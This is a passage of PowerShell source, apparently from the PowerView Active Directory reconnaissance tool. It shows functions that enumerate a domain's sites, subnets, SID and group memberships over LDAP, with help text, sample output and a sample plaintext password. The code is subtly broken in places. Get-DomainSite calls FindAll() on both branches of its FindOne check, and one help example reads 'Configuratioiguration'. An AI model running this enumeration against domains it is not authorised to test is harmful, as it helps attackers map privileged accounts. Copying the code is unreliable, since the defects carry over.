   9561         [ValidateNotNullOrEmpty()]
   9562         [Alias('ADSPath')]
   9563         [String]
   9564         $SearchBase,
   9565 
   9566         [ValidateNotNullOrEmpty()]
   9567         [Alias('DomainController')]
   9568         [String]
   9569         $Server,
   9570 
   9571         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   9572         [String]
   9573         $SearchScope = 'Subtree',
   9574 
   9575         [ValidateRange(1, 10000)]
   9576         [Int]
   9577         $ResultPageSize = 200,
   9578 
   9579         [ValidateRange(1, 10000)]
   9580         [Int]
   9581         $ServerTimeLimit,
   9582 
   9583         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   9584         [String]
   9585         $SecurityMasks,
   9586 
   9587         [Switch]
   9588         $Tombstone,
   9589 
   9590         [Alias('ReturnOne')]
   9591         [Switch]
   9592         $FindOne,
   9593 
   9594         [Management.Automation.PSCredential]
   9595         [Management.Automation.CredentialAttribute()]
   9596         $Credential = [Management.Automation.PSCredential]::Empty,
   9597 
   9598         [Switch]
   9599         $Raw
   9600     )
   9601 
   9602     BEGIN {
   9603         $SearcherArguments = @{
   9604             'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
   9605         }
   9606         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   9607         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   9608         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   9609         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   9610         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   9611         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   9612         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   9613         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
   9614         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   9615         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   9616         $SiteSearcher = Get-DomainSearcher @SearcherArguments
   9617     }
   9618 
   9619     PROCESS {
   9620         if ($SiteSearcher) {
   9621             $IdentityFilter = ''
   9622             $Filter = ''
   9623             $Identity | Where-Object {$_} | ForEach-Object {
   9624                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   9625                 if ($IdentityInstance -match '^CN=.*') {
   9626                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   9627                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   9628                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   9629                         #   and rebuild the domain searcher
   9630                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   9631                         Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   9632                         $SearcherArguments['Domain'] = $IdentityDomain
   9633                         $SiteSearcher = Get-DomainSearcher @SearcherArguments
   9634                         if (-not $SiteSearcher) {
   9635                             Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
   9636                         }
   9637                     }
   9638                 }
   9639                 else {
   9640                     try {
   9641                         $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
   9642                         $IdentityFilter += "(objectguid=$GuidByteString)"
   9643                     }
   9644                     catch {
   9645                         $IdentityFilter += "(name=$IdentityInstance)"
   9646                     }
   9647                 }
   9648             }
   9649             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   9650                 $Filter += "(|$IdentityFilter)"
   9651             }
   9652 
   9653             if ($PSBoundParameters['GPLink']) {
   9654                 Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
   9655                 $Filter += "(gplink=*$GPLink*)"
   9656             }
   9657 
   9658             if ($PSBoundParameters['LDAPFilter']) {
   9659                 Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
   9660                 $Filter += "$LDAPFilter"
   9661             }
   9662 
   9663             $SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
   9664             Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
   9665 
   9666             if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
   9667             else { $Results = $SiteSearcher.FindAll() }
   9668             $Results | Where-Object {$_} | ForEach-Object {
   9669                 if ($PSBoundParameters['Raw']) {
   9670                     # return raw result objects
   9671                     $Site = $_
   9672                 }
   9673                 else {
   9674                     $Site = Convert-LDAPProperty -Properties $_.Properties
   9675                 }
   9676                 $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
   9677                 $Site
   9678             }
   9679             if ($Results) {
   9680                 try { $Results.dispose() }
   9681                 catch {
   9682                     Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
   9683                 }
   9684             }
   9685             $SiteSearcher.dispose()
   9686         }
   9687     }
   9688 }
   9689 
   9690 
   9691 function Get-DomainSubnet {
   9692 <#
   9693 .SYNOPSIS
   9694 
   9695 Search for all subnets or specific subnets objects in AD.
   9696 
   9697 Author: Will Schroeder (@harmj0y)  
   9698 License: BSD 3-Clause  
   9699 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty  
   9700 
   9701 .DESCRIPTION
   9702 
   9703 Builds a directory searcher object using Get-DomainSearcher, builds a custom
   9704 LDAP filter based on targeting/filter parameters, and searches for all objects
   9705 matching the criteria. To only return specific properties, use
   9706 "-Properties whencreated,usnchanged,...". By default, all subnet objects for
   9707 the current domain are returned.
   9708 
   9709 .PARAMETER Identity
   9710 
   9711 An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'),
   9712 or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
   9713 
   9714 .PARAMETER SiteName
   9715 
   9716 Only return subnets from the specified SiteName.
   9717 
   9718 .PARAMETER Domain
   9719 
   9720 Specifies the domain to use for the query, defaults to the current domain.
   9721 
   9722 .PARAMETER LDAPFilter
   9723 
   9724 Specifies an LDAP query string that is used to filter Active Directory objects.
   9725 
   9726 .PARAMETER Properties
   9727 
   9728 Specifies the properties of the output object to retrieve from the server.
   9729 
   9730 .PARAMETER SearchBase
   9731 
   9732 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   9733 Useful for OU queries.
   9734 
   9735 .PARAMETER Server
   9736 
   9737 Specifies an Active Directory server (domain controller) to bind to.
   9738 
   9739 .PARAMETER SearchScope
   9740 
   9741 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   9742 
   9743 .PARAMETER ResultPageSize
   9744 
   9745 Specifies the PageSize to set for the LDAP searcher object.
   9746 
   9747 .PARAMETER ServerTimeLimit
   9748 
   9749 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   9750 
   9751 .PARAMETER SecurityMasks
   9752 
   9753 Specifies an option for examining security information of a directory object.
   9754 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   9755 
   9756 .PARAMETER Tombstone
   9757 
   9758 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   9759 
   9760 .PARAMETER FindOne
   9761 
   9762 Only return one result object.
   9763 
   9764 .PARAMETER Credential
   9765 
   9766 A [Management.Automation.PSCredential] object of alternate credentials
   9767 for connection to the target domain.
   9768 
   9769 .PARAMETER Raw
   9770 
   9771 Switch. Return raw results instead of translating the fields into a custom PSObject.
   9772 
   9773 .EXAMPLE
   9774 
   9775 Get-DomainSubnet
   9776 
   9777 Returns the current subnets in the domain.
   9778 
   9779 .EXAMPLE
   9780 
   9781 Get-DomainSubnet *admin* -Domain testlab.local
   9782 
   9783 Returns all subnets with "admin" in their name in the testlab.local domain.
   9784 
   9785 .EXAMPLE
   9786 
   9787 Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
   9788 
   9789 Returns all subnets with linked to the specified group policy object.
   9790 
   9791 .EXAMPLE
   9792 
   9793 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   9794 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   9795 Get-DomainSubnet -Credential $Cred
   9796 
   9797 .OUTPUTS
   9798 
   9799 PowerView.Subnet
   9800 
   9801 Custom PSObject with translated subnet property fields.
   9802 #>
   9803 
   9804     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   9805     [OutputType('PowerView.Subnet')]
   9806     [CmdletBinding()]
   9807     Param (
   9808         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   9809         [Alias('Name')]
   9810         [String[]]
   9811         $Identity,
   9812 
   9813         [ValidateNotNullOrEmpty()]
   9814         [String]
   9815         $SiteName,
   9816 
   9817         [ValidateNotNullOrEmpty()]
   9818         [String]
   9819         $Domain,
   9820 
   9821         [ValidateNotNullOrEmpty()]
   9822         [Alias('Filter')]
   9823         [String]
   9824         $LDAPFilter,
   9825 
   9826         [ValidateNotNullOrEmpty()]
   9827         [String[]]
   9828         $Properties,
   9829 
   9830         [ValidateNotNullOrEmpty()]
   9831         [Alias('ADSPath')]
   9832         [String]
   9833         $SearchBase,
   9834 
   9835         [ValidateNotNullOrEmpty()]
   9836         [Alias('DomainController')]
   9837         [String]
   9838         $Server,
   9839 
   9840         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   9841         [String]
   9842         $SearchScope = 'Subtree',
   9843 
   9844         [ValidateRange(1, 10000)]
   9845         [Int]
   9846         $ResultPageSize = 200,
   9847 
   9848         [ValidateRange(1, 10000)]
   9849         [Int]
   9850         $ServerTimeLimit,
   9851 
   9852         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   9853         [String]
   9854         $SecurityMasks,
   9855 
   9856         [Switch]
   9857         $Tombstone,
   9858 
   9859         [Alias('ReturnOne')]
   9860         [Switch]
   9861         $FindOne,
   9862 
   9863         [Management.Automation.PSCredential]
   9864         [Management.Automation.CredentialAttribute()]
   9865         $Credential = [Management.Automation.PSCredential]::Empty,
   9866 
   9867         [Switch]
   9868         $Raw
   9869     )
   9870 
   9871     BEGIN {
   9872         $SearcherArguments = @{
   9873             'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
   9874         }
   9875         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   9876         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   9877         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   9878         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   9879         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   9880         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   9881         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   9882         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
   9883         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   9884         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   9885         $SubnetSearcher = Get-DomainSearcher @SearcherArguments
   9886     }
   9887 
   9888     PROCESS {
   9889         if ($SubnetSearcher) {
   9890             $IdentityFilter = ''
   9891             $Filter = ''
   9892             $Identity | Where-Object {$_} | ForEach-Object {
   9893                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   9894                 if ($IdentityInstance -match '^CN=.*') {
   9895                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   9896                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   9897                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   9898                         #   and rebuild the domain searcher
   9899                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   9900                         Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   9901                         $SearcherArguments['Domain'] = $IdentityDomain
   9902                         $SubnetSearcher = Get-DomainSearcher @SearcherArguments
   9903                         if (-not $SubnetSearcher) {
   9904                             Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
   9905                         }
   9906                     }
   9907                 }
   9908                 else {
   9909                     try {
   9910                         $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
   9911                         $IdentityFilter += "(objectguid=$GuidByteString)"
   9912                     }
   9913                     catch {
   9914                         $IdentityFilter += "(name=$IdentityInstance)"
   9915                     }
   9916                 }
   9917             }
   9918             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   9919                 $Filter += "(|$IdentityFilter)"
   9920             }
   9921 
   9922             if ($PSBoundParameters['LDAPFilter']) {
   9923                 Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
   9924                 $Filter += "$LDAPFilter"
   9925             }
   9926 
   9927             $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
   9928             Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
   9929 
   9930             if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
   9931             else { $Results = $SubnetSearcher.FindAll() }
   9932             $Results | Where-Object {$_} | ForEach-Object {
   9933                 if ($PSBoundParameters['Raw']) {
   9934                     # return raw result objects
   9935                     $Subnet = $_
   9936                 }
   9937                 else {
   9938                     $Subnet = Convert-LDAPProperty -Properties $_.Properties
   9939                 }
   9940                 $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
   9941 
   9942                 if ($PSBoundParameters['SiteName']) {
   9943                     # have to do the filtering after the LDAP query as LDAP doesn't let you specify
   9944                     #   wildcards for 'siteobject' :(
   9945                     if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
   9946                         $Subnet
   9947                     }
   9948                     elseif ($Subnet.siteobject -like "*$SiteName*") {
   9949                         $Subnet
   9950                     }
   9951                 }
   9952                 else {
   9953                     $Subnet
   9954                 }
   9955             }
   9956             if ($Results) {
   9957                 try { $Results.dispose() }
   9958                 catch {
   9959                     Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
   9960                 }
   9961             }
   9962             $SubnetSearcher.dispose()
   9963         }
   9964     }
   9965 }
   9966 
   9967 
   9968 function Get-DomainSID {
   9969 <#
   9970 .SYNOPSIS
   9971 
   9972 Returns the SID for the current domain or the specified domain.
   9973 
   9974 Author: Will Schroeder (@harmj0y)  
   9975 License: BSD 3-Clause  
   9976 Required Dependencies: Get-DomainComputer  
   9977 
   9978 .DESCRIPTION
   9979 
   9980 Returns the SID for the current domain or the specified domain by executing
   9981 Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
   9982 to search for domain controllers through LDAP. The SID of the returned domain controller
   9983 is then extracted.
   9984 
   9985 .PARAMETER Domain
   9986 
   9987 Specifies the domain to use for the query, defaults to the current domain.
   9988 
   9989 .PARAMETER Server
   9990 
   9991 Specifies an Active Directory server (domain controller) to bind to.
   9992 
   9993 .PARAMETER Credential
   9994 
   9995 A [Management.Automation.PSCredential] object of alternate credentials
   9996 for connection to the target domain.
   9997 
   9998 .EXAMPLE
   9999 
  10000 Get-DomainSID
  10001 
  10002 .EXAMPLE
  10003 
  10004 Get-DomainSID -Domain testlab.local
  10005 
  10006 .EXAMPLE
  10007 
  10008 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  10009 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  10010 Get-DomainSID -Credential $Cred
  10011 
  10012 .OUTPUTS
  10013 
  10014 String
  10015 
  10016 A string representing the specified domain SID.
  10017 #>
  10018 
  10019     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  10020     [OutputType([String])]
  10021     [CmdletBinding()]
  10022     Param(
  10023         [ValidateNotNullOrEmpty()]
  10024         [String]
  10025         $Domain,
  10026 
  10027         [ValidateNotNullOrEmpty()]
  10028         [Alias('DomainController')]
  10029         [String]
  10030         $Server,
  10031 
  10032         [Management.Automation.PSCredential]
  10033         [Management.Automation.CredentialAttribute()]
  10034         $Credential = [Management.Automation.PSCredential]::Empty
  10035     )
  10036 
  10037     $SearcherArguments = @{
  10038         'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
  10039     }
  10040     if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  10041     if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  10042     if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  10043 
  10044     $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
  10045 
  10046     if ($DCSID) {
  10047         $DCSID.SubString(0, $DCSID.LastIndexOf('-'))
  10048     }
  10049     else {
  10050         Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
  10051     }
  10052 }
  10053 
  10054 
  10055 function Get-DomainGroup {
  10056 <#
  10057 .SYNOPSIS
  10058 
  10059 Return all groups or specific group objects in AD.
  10060 
  10061 Author: Will Schroeder (@harmj0y)  
  10062 License: BSD 3-Clause  
  10063 Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty  
  10064 
  10065 .DESCRIPTION
  10066 
  10067 Builds a directory searcher object using Get-DomainSearcher, builds a custom
  10068 LDAP filter based on targeting/filter parameters, and searches for all objects
  10069 matching the criteria. To only return specific properties, use
  10070 "-Properties samaccountname,usnchanged,...". By default, all group objects for
  10071 the current domain are returned. To return the groups a specific user/group is
  10072 a part of, use -MemberIdentity X to execute token groups enumeration.
  10073 
  10074 .PARAMETER Identity
  10075 
  10076 A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
  10077 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
  10078 specifying the group to query for. Wildcards accepted.
  10079 
  10080 .PARAMETER MemberIdentity
  10081 
  10082 A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
  10083 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
  10084 specifying the user/group member to query for group membership.
  10085 
  10086 .PARAMETER AdminCount
  10087 
  10088 Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
  10089 
  10090 .PARAMETER GroupScope
  10091 
  10092 Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for.
  10093 Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations.
  10094 
  10095 .PARAMETER GroupProperty
  10096 
  10097 Specifies a specific property to search for when performing the group search.
  10098 Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem.
  10099 
  10100 .PARAMETER Domain
  10101 
  10102 Specifies the domain to use for the query, defaults to the current domain.
  10103 
  10104 .PARAMETER LDAPFilter
  10105 
  10106 Specifies an LDAP query string that is used to filter Active Directory objects.
  10107 
  10108 .PARAMETER Properties
  10109 
  10110 Specifies the properties of the output object to retrieve from the server.
  10111 
  10112 .PARAMETER SearchBase
  10113 
  10114 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  10115 Useful for OU queries.
  10116 
  10117 .PARAMETER Server
  10118 
  10119 Specifies an Active Directory server (domain controller) to bind to.
  10120 
  10121 .PARAMETER SearchScope
  10122 
  10123 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  10124 
  10125 .PARAMETER ResultPageSize
  10126 
  10127 Specifies the PageSize to set for the LDAP searcher object.
  10128 
  10129 .PARAMETER ServerTimeLimit
  10130 
  10131 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  10132 
  10133 .PARAMETER SecurityMasks
  10134 
  10135 Specifies an option for examining security information of a directory object.
  10136 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  10137 
  10138 .PARAMETER Tombstone
  10139 
  10140 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  10141 
  10142 .PARAMETER FindOne
  10143 
  10144 Only return one result object.
  10145 
  10146 .PARAMETER Credential
  10147 
  10148 A [Management.Automation.PSCredential] object of alternate credentials
  10149 for connection to the target domain.
  10150 
  10151 .PARAMETER Raw
  10152 
  10153 Switch. Return raw results instead of translating the fields into a custom PSObject.
  10154 
  10155 .EXAMPLE
  10156 
  10157 Get-DomainGroup | select samaccountname
  10158 
  10159 samaccountname
  10160 --------------
  10161 WinRMRemoteWMIUsers__
  10162 Administrators
  10163 Users
  10164 Guests
  10165 Print Operators
  10166 Backup Operators
  10167 ...
  10168 
  10169 .EXAMPLE
  10170 
  10171 Get-DomainGroup *admin* | select distinguishedname
  10172 
  10173 distinguishedname
  10174 -----------------
  10175 CN=Administrators,CN=Builtin,DC=testlab,DC=local
  10176 CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local
  10177 CN=Schema Admins,CN=Users,DC=testlab,DC=local
  10178 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
  10179 CN=Domain Admins,CN=Users,DC=testlab,DC=local
  10180 CN=DnsAdmins,CN=Users,DC=testlab,DC=local
  10181 CN=Server Admins,CN=Users,DC=testlab,DC=local
  10182 CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10183 
  10184 .EXAMPLE
  10185 
  10186 Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl
  10187 
  10188 samaccountname
  10189 --------------
  10190 Server Admins
  10191 
  10192 .EXAMPLE
  10193 
  10194 'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose
  10195 VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local
  10196 VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local)))
  10197 
  10198 usncreated            : 13245
  10199 grouptype             : -2147483646
  10200 samaccounttype        : 268435456
  10201 samaccountname        : Desktop Admins
  10202 whenchanged           : 8/10/2016 12:30:30 AM
  10203 objectsid             : S-1-5-21-890171859-3433809279-3366196753-1118
  10204 objectclass           : {top, group}
  10205 cn                    : Desktop Admins
  10206 usnchanged            : 13255
  10207 dscorepropagationdata : 1/1/1601 12:00:00 AM
  10208 name                  : Desktop Admins
  10209 distinguishedname     : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
  10210 member                : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
  10211 whencreated           : 8/10/2016 12:29:43 AM
  10212 instancetype          : 4
  10213 objectguid            : f37903ed-b333-49f4-abaa-46c65e9cca71
  10214 objectcategory        : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local
  10215 
  10216 .EXAMPLE
  10217 
  10218 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  10219 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  10220 Get-DomainGroup -Credential $Cred
  10221 
  10222 .EXAMPLE
  10223 
  10224 Get-Domain | Select-Object -Expand name
  10225 testlab.local
  10226 
  10227 'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname
  10228 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
  10229 VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
  10230 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
  10231 VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins)))
  10232 
  10233 distinguishedname
  10234 -----------------
  10235 CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
  10236 
  10237 .OUTPUTS
  10238 
  10239 PowerView.Group
  10240 
  10241 Custom PSObject with translated group property fields.
  10242 #>
  10243 
  10244     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  10245     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  10246     [OutputType('PowerView.Group')]
  10247     [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
  10248     Param(
  10249         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  10250         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  10251         [String[]]
  10252         $Identity,
  10253 
  10254         [ValidateNotNullOrEmpty()]
  10255         [Alias('UserName')]
  10256         [String]
  10257         $MemberIdentity,
  10258 
  10259         [Switch]
  10260         $AdminCount,
  10261 
  10262         [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
  10263         [Alias('Scope')]
  10264         [String]
  10265         $GroupScope,
  10266 
  10267         [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
  10268         [String]
  10269         $GroupProperty,
  10270 
  10271         [ValidateNotNullOrEmpty()]
  10272         [String]
  10273         $Domain,
  10274 
  10275         [ValidateNotNullOrEmpty()]
  10276         [Alias('Filter')]
  10277         [String]
  10278         $LDAPFilter,
  10279 
  10280         [ValidateNotNullOrEmpty()]
  10281         [String[]]
  10282         $Properties,
  10283 
  10284         [ValidateNotNullOrEmpty()]
  10285         [Alias('ADSPath')]
  10286         [String]
  10287         $SearchBase,
  10288 
  10289         [ValidateNotNullOrEmpty()]
  10290         [Alias('DomainController')]
  10291         [String]
  10292         $Server,
  10293 
  10294         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  10295         [String]
  10296         $SearchScope = 'Subtree',
  10297 
  10298         [ValidateRange(1, 10000)]
  10299         [Int]
  10300         $ResultPageSize = 200,
  10301 
  10302         [ValidateRange(1, 10000)]
  10303         [Int]
  10304         $ServerTimeLimit,
  10305 
  10306         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  10307         [String]
  10308         $SecurityMasks,
  10309 
  10310         [Switch]
  10311         $Tombstone,
  10312 
  10313         [Alias('ReturnOne')]
  10314         [Switch]
  10315         $FindOne,
  10316 
  10317         [Management.Automation.PSCredential]
  10318         [Management.Automation.CredentialAttribute()]
  10319         $Credential = [Management.Automation.PSCredential]::Empty,
  10320 
  10321         [Switch]
  10322         $Raw
  10323     )
  10324 
  10325     BEGIN {
  10326         $SearcherArguments = @{}
  10327         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  10328         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  10329         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  10330         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  10331         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  10332         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  10333         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  10334         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  10335         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  10336         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  10337         $GroupSearcher = Get-DomainSearcher @SearcherArguments
  10338     }
  10339 
  10340     PROCESS {
  10341         if ($GroupSearcher) {
  10342             if ($PSBoundParameters['MemberIdentity']) {
  10343 
  10344                 if ($SearcherArguments['Properties']) {
  10345                     $OldProperties = $SearcherArguments['Properties']
  10346                 }
  10347 
  10348                 $SearcherArguments['Identity'] = $MemberIdentity
  10349                 $SearcherArguments['Raw'] = $True
  10350 
  10351                 Get-DomainObject @SearcherArguments | ForEach-Object {
  10352                     # convert the user/group to a directory entry
  10353                     $ObjectDirectoryEntry = $_.GetDirectoryEntry()
  10354 
  10355                     # cause the cache to calculate the token groups for the user/group
  10356                     $ObjectDirectoryEntry.RefreshCache('tokenGroups')
  10357 
  10358                     $ObjectDirectoryEntry.TokenGroups | ForEach-Object {
  10359                         # convert the token group sid
  10360                         $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
  10361 
  10362                         # ignore the built in groups
  10363                         if ($GroupSid -notmatch '^S-1-5-32-.*') {
  10364                             $SearcherArguments['Identity'] = $GroupSid
  10365                             $SearcherArguments['Raw'] = $False
  10366                             if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
  10367                             $Group = Get-DomainObject @SearcherArguments
  10368                             if ($Group) {
  10369                                 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
  10370                                 $Group
